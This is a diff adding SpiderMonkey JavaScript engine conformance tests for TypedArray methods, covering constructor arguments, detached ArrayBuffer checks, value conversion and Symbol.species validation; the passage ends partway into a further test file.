diff --git a/js/src/tests/non262/TypedArray/constructor-undefined-args.js b/js/src/tests/non262/TypedArray/constructor-undefined-args.js
new file mode 100644
index 0000000000..91a557a2c1
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-undefined-args.js
@@ -0,0 +1,14 @@
+// Bug 1040402
+
+var ab = new ArrayBuffer(16);
+
+assertEq(new Int32Array(ab).length, 4);
+assertEq(new Int32Array(ab, undefined).length, 4);
+assertEq(new Int32Array(ab, undefined, undefined).length, 4);
+assertEq(new Int32Array(ab, 0).length, 4);
+assertEq(new Int32Array(ab, 0, undefined).length, 4);
+assertEq(new Int32Array(ab, 4).length, 3);
+assertEq(new Int32Array(ab, 4, undefined).length, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor_bad-args.js b/js/src/tests/non262/TypedArray/constructor_bad-args.js
new file mode 100644
index 0000000000..00bbf884c6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor_bad-args.js
@@ -0,0 +1,13 @@
+// Bug 1227207
+
+var AB = new ArrayBuffer(12); // Length divides 4
+var BC = new ArrayBuffer(14); // Length does not divide 4
+
+assertThrowsInstanceOf(() => new Int32Array(AB, -1), RangeError); // 22.2.4.5 #8
+assertThrowsInstanceOf(() => new Int32Array(AB, 2), RangeError); // 22.2.4.5 #10
+assertThrowsInstanceOf(() => new Int32Array(BC), RangeError); // 22.2.4.5 #13.a
+assertThrowsInstanceOf(() => new Int32Array(AB, 16), RangeError); // 22.2.4.5 #13.c
+assertThrowsInstanceOf(() => new Int32Array(AB, 0, 4), RangeError); // 22.2.4.5 #14.c
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/detached-array-buffer-checks.js b/js/src/tests/non262/TypedArray/detached-array-buffer-checks.js
new file mode 100644
index 0000000000..55256fb29d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/detached-array-buffer-checks.js
@@ -0,0 +1,107 @@
+// Nearly every %TypedArray%.prototype method should throw a TypeError when called
+// atop a detached array buffer. Here we check verify that this holds true for
+// all relevant functions.
+let buffer = new ArrayBuffer(32);
+let array = new Int32Array(buffer);
+detachArrayBuffer(buffer);
+
+// A nice poisoned callable to ensure that we fail on a detached buffer check
+// before a method attempts to do anything with its arguments.
+var POISON = (function() {
+ var internalTarget = {};
+ var throwForAllTraps =
+ new Proxy(internalTarget, { get(target, prop, receiver) {
+ assertEq(target, internalTarget);
+ assertEq(receiver, throwForAllTraps);
+ throw "FAIL: " + prop + " trap invoked";
+ }});
+ return new Proxy(throwForAllTraps, throwForAllTraps);
+});
+
+
+assertThrowsInstanceOf(() => {
+ array.copyWithin(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.entries();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.fill(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.filter(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.find(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.findIndex(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.forEach(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.indexOf(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.includes(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.join(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.keys();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.lastIndexOf(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.map(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reduce(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reduceRight(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reverse();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.slice(POISON, POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.some(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.values();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.every(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.sort(POISON);
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js b/js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js
new file mode 100644
index 0000000000..ae465f0147
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js
@@ -0,0 +1,91 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'element-setting-converts-using-ToNumber.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 985733;
+var summary =
+ "Typed array element-setting should convert to target type using ToNumber "
+ "followed by an element-type-specific truncation function";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+anyTypedArrayConstructors.forEach(function(TypedArray) {
+ var ta = new TypedArray(1);
+ assertEq(ta[0], 0);
+
+ var count = 0;
+ function setToObject()
+ {
+ for (var i = 0; i < 1e4; i++)
+ {
+ assertEq(count, i);
+ ta[0] = { valueOf: function() { count++; return 17; } };
+ }
+ }
+ setToObject();
+ assertEq(count, 1e4);
+ assertEq(ta[0], 17);
+
+ function setToString()
+ {
+ for (var i = 0; i < 2e4; i++)
+ ta[0] = "17.0000000000000000000000000000000000000000000000000000001";
+ }
+ setToString();
+ assertEq(ta[0], 17);
+
+ count = 0;
+ var arrayConstructed =
+ new TypedArray([{ valueOf: function() { count++; return 17; } },
+ "17.0000000000000000000000000000000000000000000000000001"]);
+ assertEq(count, 1);
+ assertEq(arrayConstructed[0], 17);
+ assertEq(arrayConstructed[1], 17);
+
+ count = 0;
+ var arraySet = new TypedArray(5);
+ arraySet.set({ 0: 17,
+ 1: "17.000000000000000000000000000000000000000000000000000",
+ get 2() {
+ return { valueOf: undefined,
+ toString: function() { count++; return 42; } };
+ },
+ get 3() { return true; },
+ set 3(v) { throw "FAIL"; },
+ 4: { valueOf: function() { count++; return 127; } },
+ length: 5 });
+ assertEq(count, 2);
+ assertEq(arraySet[0], 17);
+ assertEq(arraySet[1], 17);
+ assertEq(arraySet[2], 42);
+ assertEq(arraySet[3], 1);
+ assertEq(arraySet[4], 127);
+
+ var bigLen = 1e4;
+ var big = new TypedArray(bigLen);
+ function initBig()
+ {
+ for (var i = 0; i < bigLen; i++)
+ big[i] = (i % 2) ? 3 : { valueOf: function() { return 3; } };
+ }
+ initBig();
+ for (var i = 0; i < bigLen; i++)
+ {
+ assertEq(big[i], 3,
+ "(" + Object.prototype.toString.call(big) + ")");
+ }
+});
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/entries.js b/js/src/tests/non262/TypedArray/entries.js
new file mode 100644
index 0000000000..c55a959e3a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/entries.js
@@ -0,0 +1,38 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.entries.length, 0);
+ assertEq(constructor.prototype.entries.name, "entries");
+
+ assertDeepEq([...new constructor(0).entries()], []);
+ assertDeepEq([...new constructor(1).entries()], [[0, 0]]);
+ assertDeepEq([...new constructor(2).entries()], [[0, 0], [1, 0]]);
+ assertDeepEq([...new constructor([15]).entries()], [[0, 15]]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.entries();
+ assertDeepEq(iterator.next(), {value: [0, 1], done: false});
+ assertDeepEq(iterator.next(), {value: [1, 2], done: false});
+ assertDeepEq(iterator.next(), {value: [2, 3], done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+ var entries = otherGlobal[constructor.name].prototype.entries;
+ assertDeepEq([...entries.call(new constructor(2))],
+ [new otherGlobal.Array(0, 0), new otherGlobal.Array(1, 0)]);
+ arr = new (newGlobal()[constructor.name])(2);
+ assertEq([...constructor.prototype.entries.call(arr)].toString(), "0,0,1,0");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.entries.call(invalidReceiver);
+ }, TypeError, "Assert that entries fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/every-and-some.js b/js/src/tests/non262/TypedArray/every-and-some.js
new file mode 100644
index 0000000000..940ac736f9
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/every-and-some.js
@@ -0,0 +1,249 @@
+// Tests for TypedArray#every.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.every.length, 1);
+
+ // Basic tests.
+ assertEq(new constructor([1, 3, 5]).every(v => v % 2), true);
+ assertEq(new constructor([1, 3, 5]).every(v => v > 2), false);
+ assertEq(new constructor(10).every(v => v === 0), true);
+ assertEq(new constructor().every(v => v > 1), true);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertEq(arr.every((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v < 3;
+ }), false);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertEq(arr.every(function() {
+ assertDeepEq(this, thisValue);
+ return true;
+ }, thisArg), true);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertEq(arr.every(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return true;
+ }, thisArg), true);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertEq(arr.every(() => {
+ assertEq(this, self);
+ return true;
+ }, thisArg), true);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.every((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "every";
+ }
+ return true
+ })
+ } catch(e) {
+ assertEq(e, "every");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.every();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.every(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.every(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var every = newGlobal()[constructor.name].prototype.every;
+ var sum = 0;
+ assertEq(every.call(new constructor([1, 2, 3]), v => sum += v), true);
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.every.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that every fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).every(() => true), true);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertEq(new constructor([undefined, , NaN]).every(v => Object.is(v, NaN)), true);
+}
+
+// Tests for TypedArray#some.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.some.length, 1);
+
+ // Basic tests.
+ assertEq(new constructor([1, 2, 3]).some(v => v % 2), true);
+ assertEq(new constructor([0, 2, 4]).some(v => v % 2), false);
+ assertEq(new constructor([1, 3, 5]).some(v => v > 2), true);
+ assertEq(new constructor([1, 3, 5]).some(v => v < 0), false);
+ assertEq(new constructor(10).some(v => v !== 0), false);
+ assertEq(new constructor().some(v => v > 1), false);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertEq(arr.some((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v > 2;
+ }), true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertEq(arr.some(function() {
+ assertDeepEq(this, thisValue);
+ return false;
+ }, thisArg), false);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertEq(arr.some(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return false;
+ }, thisArg), false);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertEq(arr.some(() => {
+ assertEq(this, self);
+ return false;
+ }, thisArg), false);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.some((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "some";
+ }
+ return false
+ })
+ } catch(e) {
+ assertEq(e, "some");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.some();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.some(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.some(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var some = newGlobal()[constructor.name].prototype.some;
+ var sum = 0;
+ assertEq(some.call(new constructor([1, 2, 3]), v => {
+ sum += v;
+ return false;
+ }), false);
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.some.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that some fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).some(() => false), false);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertEq(new constructor([undefined, , NaN]).some(v => v === v), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/fill-detached.js b/js/src/tests/non262/TypedArray/fill-detached.js
new file mode 100644
index 0000000000..770067a81f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/fill-detached.js
@@ -0,0 +1,36 @@
+// Ensure %TypedArray%.prototype.fill checks for detached buffers.
+
+function DetachArrayBufferValue(buffer, value) {
+ return {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return value;
+ }
+ };
+}
+
+function DetachTypedArrayValue(ta, value) {
+ return {
+ valueOf() {
+ detachArrayBuffer(ta.buffer);
+ return value;
+ }
+ };
+}
+
+// Test when ArrayBuffer is already reified.
+for (let length of [0, 1, 10, 4096]) {
+ let ta = new Int32Array(length);
+ let value = DetachArrayBufferValue(ta.buffer, 123);
+ assertThrowsInstanceOf(() => ta.fill(value), TypeError);
+}
+
+// Test when ArrayBuffer is reified during the fill() call.
+for (let length of [0, 1, 10, 4096]) {
+ let ta = new Int32Array(length);
+ let value = DetachTypedArrayValue(ta, 123);
+ assertThrowsInstanceOf(() => ta.fill(value), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/fill.js b/js/src/tests/non262/TypedArray/fill.js
new file mode 100644
index 0000000000..4349da06a9
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/fill.js
@@ -0,0 +1,65 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.fill.length, 1);
+
+ assertDeepEq(new constructor([]).fill(1), new constructor([]));
+ assertDeepEq(new constructor([1,1,1]).fill(2), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, 2), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2, -1), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined, undefined), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, undefined), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined, 1), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 2, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -1, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, -2), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.9), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1.1), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 0.9), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 1.9), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 1.9), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -0), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, -0), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, NaN), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, NaN), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, false), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, true), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "0"), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "1"), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "-2"), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "-2", "-1"), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, {valueOf: ()=>1}), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, {valueOf: ()=>1}), new constructor([2,1,1]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var fill = newGlobal()[constructor.name].prototype.fill;
+ assertDeepEq(fill.call(new constructor([3, 2, 1]), 2), new constructor([2, 2, 2]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.fill.call(invalidReceiver, 1);
+ }, TypeError);
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).fill(1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(new constructor([0, 0]).fill(NaN), new constructor([NaN, NaN]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/filter-species.js b/js/src/tests/non262/TypedArray/filter-species.js
new file mode 100644
index 0000000000..2de4e254e8
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/filter-species.js
@@ -0,0 +1,56 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[2, 4]) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.filter(x => x % 2 == 0), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.filter(x => x % 2 == 0), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFE, 0xFC]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0, 0]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFE, 0xFFFC]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-2, -4]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFE, 0xFFFFFFFC]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-2, -4]);
+
+// different size
+
+test(Uint8Array, Uint16Array);
+test(Uint16Array, Uint8Array);
+
+test(Uint8Array, Uint32Array);
+test(Uint32Array, Uint8Array);
+
+test(Uint16Array, Uint32Array);
+test(Uint32Array, Uint16Array);
+
+test(Float32Array, Float64Array);
+test(Float64Array, Float32Array);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/filter-validation.js b/js/src/tests/non262/TypedArray/filter-validation.js
new file mode 100644
index 0000000000..450b4fa2cf
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/filter-validation.js
@@ -0,0 +1,185 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.filter.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.filter,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.filter,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.filter,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => false), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, () => true);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => false);
+ assertEq(result.length, 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => true);
+ assertEq(result.length, length + extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => false);
+ assertEq(result.length, extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => false), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/find-and-findIndex.js b/js/src/tests/non262/TypedArray/find-and-findIndex.js
new file mode 100644
index 0000000000..125ababd0b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/find-and-findIndex.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
